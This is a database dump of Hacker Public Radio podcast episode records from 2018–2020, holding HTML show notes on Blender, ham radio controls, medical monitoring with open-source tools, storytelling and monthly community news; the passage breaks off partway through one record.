(2686,'2018-11-19','(NOT) All About Blender - Part the Second',2413,'A meandering conversation to sooth the nerves, and warm the soul - part 2!!','<p>The second part of what began as a serious attempt to sit down and discuss Blender, a free and open-source piece of awesome, that slowly (rapidly) devolved into a meandering discussion. Mostly about video games.</p>\r\n<ul>\r\n<li><a href=\"https://openmw.org/en/\" class=\"uri\">https://openmw.org/en/</a></li>\r\n<li><a href=\"https://www.blender.org/\" class=\"uri\">https://www.blender.org/</a></li>\r\n<li><a href=\"https://www.blender.org/support/tutorials/\" class=\"uri\">https://www.blender.org/support/tutorials/</a></li>\r\n<li><a href=\"https://danielpocock.com/quick-start-blender-video-editing\" class=\"uri\">https://danielpocock.com/quick-start-blender-video-editing</a></li>\r\n<li><a href=\"https://m.youtube.com/user/BlenderFoundation\" class=\"uri\">https://m.youtube.com/user/BlenderFoundation</a></li>\r\n<li><a href=\"https://m.youtube.com/watch?v=_lGfeS050Xw\" class=\"uri\">https://m.youtube.com/watch?v=_lGfeS050Xw</a></li>\r\n<li><a href=\"https://zombiemud.org/\" class=\"uri\">https://zombiemud.org/</a></li>\r\n</ul>\r\n<h3 id=\"bloodpong\">BloodPong</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=GHrg48sa4ZA\" class=\"uri\">https://www.youtube.com/watch?v=GHrg48sa4ZA</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=vqZQFbKxkxg\" class=\"uri\">https://www.youtube.com/watch?v=vqZQFbKxkxg</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=VCYrErmTIjA\" class=\"uri\">https://www.youtube.com/watch?v=VCYrErmTIjA</a></li>\r\n</ul>',325,0,1,'CC-BY-SA','Blender',0,0,1),
(2688,'2018-11-21','Explaining the controls on my Amateur HF Radio Part 5',1039,'In this episode I cover the remaining Receiver section controls of the TS940S.','<ul>\r\n<li><p>The controls covered are</p>\r\n<ul>\r\n<li>AF / RF gain\r\n<ul>\r\n<li>(1A) AF, Audio frequency gain control (Volume)<br />\r\nTurns the volume up and down</li>\r\n<li>(1B) RF, Radiofrequency gain control (From the Kenwood manual)<br />\r\nRF GAIN is controlled by changing the AGC (Auto Gain Control) threshold voltage. Adjusting the RF GAIN so that the S-meter reading increases to a point just lower than speech peaks. This also reduces noise during reception. For normal operation, this control should be turned fully clockwise for maximum sensitivity.</li>\r\n</ul></li>\r\n<li>CW VBT (From the Kenwood manual)\r\n<ul>\r\n<li>Carrier Wave Variable Bandwidth Tuning Control<br />\r\nThis control is very similar to the SSB Slope tuning controls. However, with the CW VBT control, both sides of the IF passband are narrowed at the same time.</li>\r\n</ul></li>\r\n<li>SSB Slope Tune (High pass low pass audio filter)\r\n<ul>\r\n<li>High pass filter<br />\r\n<a href=\"https://en.wikipedia.org/wiki/High-pass_filter\" class=\"uri\">https://en.wikipedia.org/wiki/High-pass_filter</a></li>\r\n<li>Low-pass filter<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Low-pass_filter\" class=\"uri\">https://en.wikipedia.org/wiki/Low-pass_filter</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li><p>I mention that the radio uses phase locked loop technologies.<br />\r\nBelow is an article in Wikipedia about PLL (Phase locked loop)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Phase-locked_loop\" class=\"uri\">https://en.wikipedia.org/wiki/Phase-locked_loop</a></p></li>\r\n<li><p>I mention that the radio doesn’t use valves.<br />\r\nBelow is an article in Wikipedia about valves (Vacuum tubes)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Vacuum_tube\" class=\"uri\">https://en.wikipedia.org/wiki/Vacuum_tube</a></p></li>\r\n<li><p>Dry joint<br />\r\nI mention that the radio developed a dry joint<br />\r\nBelow is an article in Wikipedia about soldering that covers dry joints<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Soldering#Dry_joint\" class=\"uri\">https://en.wikipedia.org/wiki/Soldering#Dry_joint</a></p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','HF, Ham, Amateur Radio',0,0,1),
(2683,'2018-11-14','Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild',1911,'Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild','<h2 id=\"using-python-php-jquery-and-linux-to-visualize-the-heartrate-and-blood-oxygen-saturation-level-of-my-stepdaughter.\">Using Python, PHP, JQuery and Linux to visualize the heartrate and blood oxygen saturation level of my stepdaughter.</h2>\r\n<p>Jeroen Baten talks about how he used his knowledge of a couple of open source tools to visualize the heartrate and oxygen saturation in the blood of one of his children and how this aided a pediatrician at the Wilhelmina childrens hospital to come to the right conclusion and treatment. This talk is a mix of tech and 43 surgery sessions on one single human being.</p>\r\n<h2>Links</h2>\r\n<ul><li>Details, including source code, graphs and all can be found\r\nhere:<br/>\r\n<a href=\"https://www.jeroenbaten.nl/cardio-oxygen-saturation-monitoring-home/\">https://www.jeroenbaten.nl/cardio-oxygen-saturation-monitoring-home/</a></li></ul>\r\n\r\n<p>\r\n<small><small><b>Editor\'s Note</b><br/>\r\nJeroen\'s link above was added after the show had been aired.</small></small>\r\n</p>\r\n',369,0,0,'CC-BY-SA','python, php, jquery, linux',0,0,1),
(2687,'2018-11-20','Some Additional Talk About Characters -- 02',750,'Lostnbronx takes a look at what sorts of characters work best for certain types of tales. Part 02.','<p>What are some typical ways to create characters in your stories? Should you create the plot first, or the characters first? Should we think of characters in terms of heroes and villains, or protagonists and antagonists? What is the value of character depth, and is it the same as the character arc? Lostnbronx offers up even more off-the-cuff thoughts about this complicated subject.</p>\r\n',107,105,0,'CC-0','stories,storytelling,characters,lostnbronx',0,0,1),
(2956,'2019-12-02','HPR Community News for November 2019',5211,'Dave, Jeroen and Ken talk about shows released and comments posted in November 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2935\" target=\"_blank\">2935</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2935\" target=\"_blank\">The work of fire fighters, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2936\" target=\"_blank\">2936</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-11-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2936\" target=\"_blank\">HPR Community News for October 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2937\" target=\"_blank\">2937</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-11-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2937\" target=\"_blank\">Lord D\'s Film Reviews: His Girl Friday</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2938\" target=\"_blank\">2938</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-11-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2938\" target=\"_blank\">Naming pets in space game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2939\" target=\"_blank\">2939</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-11-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2939\" target=\"_blank\">Submit a show to Hacker Public Radio in 10 easy steps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2940\" target=\"_blank\">2940</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2940\" target=\"_blank\">Better Social Media 05 - Mastodon</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2941\" target=\"_blank\">2941</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-11-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2941\" target=\"_blank\">Server Basics 107: Minishift and container management</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2942\" target=\"_blank\">2942</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-11-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2942\" target=\"_blank\">Why I love lisps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2943\" target=\"_blank\">2943</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-11-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2943\" target=\"_blank\">Music as Life</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2944\" target=\"_blank\">2944</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-11-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2944\" target=\"_blank\">ONICS Basics Part 4: Network Flows and Connections</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2945\" target=\"_blank\">2945</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2945\" target=\"_blank\">Saturday at OggCamp Manchester 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2946\" target=\"_blank\">2946</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-11-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2946\" target=\"_blank\">Sunday at OggCamp Manchester 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2947\" target=\"_blank\">2947</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-11-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2947\" target=\"_blank\">The Mimblewimble Protocol</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2948\" target=\"_blank\">2948</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-11-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2948\" target=\"_blank\">Testing with Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2949\" target=\"_blank\">2949</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-11-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2949\" target=\"_blank\">Grin and Beam: The 2 major mimblewimble blockchains</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2950\" target=\"_blank\">2950</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2950\" target=\"_blank\">NotPetya and Maersk: An Object Lesson</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2951\" target=\"_blank\">2951</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-11-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2951\" target=\"_blank\">A walk through my PifaceCAD Python code – Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2952\" target=\"_blank\">2952</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-11-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2952\" target=\"_blank\">Publishing your book using open source tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2953\" target=\"_blank\">2953</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-11-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2953\" target=\"_blank\">How I got started in Linux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2954\" target=\"_blank\">2954</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-11-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2954\" target=\"_blank\">Wrestling As You Like It episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2955\" target=\"_blank\">2955</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2955\" target=\"_blank\">Machine Learning / Data Analysis Basics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1585#comments\" target=\"_blank\">hpr1585</a></strong>\n(2014-08-29) \"<em>36 - LibreOffice Calc - Financial Functions - Loan Payments</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1585#1\" target=\"_blank\">Comment 1</a>:\ntimttmy on 2019-11-30:\n\"Thanks\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1585#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2019-11-30:\n\"I\'m glad it helped\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 14 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2935#comments\" target=\"_blank\">hpr2935</a></strong>\n(2019-11-01) \"<em>The work of fire fighters, part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2935#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-11-05:\n\"That sucks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2935#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2019-11-05:\n\"That blows\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2935#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2019-11-05:\n\"You\'re Fired\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2936#comments\" target=\"_blank\">hpr2936</a></strong>\n(2019-11-04) \"<em>HPR Community News for October 2019</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2936#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2019-11-04:\n\"Ken\'s Voice Is Better Than espeak\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2936#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2019-11-05:\n\"Pots\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2936#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2019-11-19:\n\"Release order or episode order?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2939#comments\" target=\"_blank\">hpr2939</a></strong>\n(2019-11-07) \"<em>Submit a show to Hacker Public Radio in 10 easy steps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2939#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-11-07:\n\"Clarification\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2940#comments\" target=\"_blank\">hpr2940</a></strong>\n(2019-11-08) \"<em>Better Social Media 05 - Mastodon</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2940#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2019-11-08:\n\"Simple Mastodon Timeline View Option\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2942#comments\" target=\"_blank\">hpr2942</a></strong>\n(2019-11-12) \"<em>Why I love lisps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2942#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-11-12:\n\"welcome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2942#2\" target=\"_blank\">Comment 2</a>:\nCarl on 2019-11-21:\n\"Well Done\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2942#3\" target=\"_blank\">Comment 3</a>:\ngerryk on 2019-11-22:\n\"loved it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2943#comments\" target=\"_blank\">hpr2943</a></strong>\n(2019-11-13) \"<em>Music as Life</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2943#1\" target=\"_blank\">Comment 1</a>:\nCarl on 2019-11-21:\n\"Interesting Episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2944#comments\" target=\"_blank\">hpr2944</a></strong>\n(2019-11-14) \"<em>ONICS Basics Part 4: Network Flows and Connections</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2944#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-11-27:\n\"This is wonderful\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2955#comments\" target=\"_blank\">hpr2955</a></strong>\n(2019-11-29) \"<em>Machine Learning / Data Analysis Basics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2955#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2019-11-29:\n\"Great first episode\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"stand-at-fosdem\">Stand at FOSDEM</h3>\n<p>Our proposal for a “Free Culture Podcasts” stand at FOSDEM was accepted for the Sunday 2nd February. This is fantastic news as this is the largest FLOSS event in Europe and is absolutely thronged the whole day.</p>\n<p><a href=\"https://fosdem.org/2020/news/2019-11-19-accepted-stands/\" class=\"uri\">https://fosdem.org/2020/news/2019-11-19-accepted-stands/</a></p>\n<p>Anyone going to FOSDEM, and who would like to help staff the booth on Sunday please get in touch.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 5 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2981,'2020-01-06','HPR Community News for December 2019',4671,'HPR Volunteers talk about shows released and comments posted in December 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2956\" target=\"_blank\">2956</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-12-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2956\" target=\"_blank\">HPR Community News for November 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2957\" target=\"_blank\">2957</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-12-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2957\" target=\"_blank\">Lord D\'s Film Reviews: Ever</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2958\" target=\"_blank\">2958</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-12-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2958\" target=\"_blank\">Haskell modules</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2959\" target=\"_blank\">2959</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-12-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2959\" target=\"_blank\">Interview with Josh Clements about gpodder.net </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2960\" target=\"_blank\">2960</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-12-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2960\" target=\"_blank\">Dehydrated Foods</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2961\" target=\"_blank\">2961</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-12-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2961\" target=\"_blank\">Kubernetics / Cloud - Terminology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2962\" target=\"_blank\">2962</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-12-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2962\" target=\"_blank\">Bespoke bike building</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2963\" target=\"_blank\">2963</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-12-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2963\" target=\"_blank\">A walk through my PifaceCAD Python code – Part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2964\" target=\"_blank\">2964</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-12-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2964\" target=\"_blank\">Bolos and Bowties: Neckwear for Nerds</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2965\" target=\"_blank\">2965</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-12-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2965\" target=\"_blank\">instant feedback for students in maths</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\" target=\"_blank\">beni</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2966\" target=\"_blank\">2966</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-12-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2966\" target=\"_blank\">World of Commodore 2019 Episode 1: The Interviews</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2967\" target=\"_blank\">2967</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-12-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2967\" target=\"_blank\">Wrestling As You Like It Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n</tr>\n<tr>\n<td><strong><a 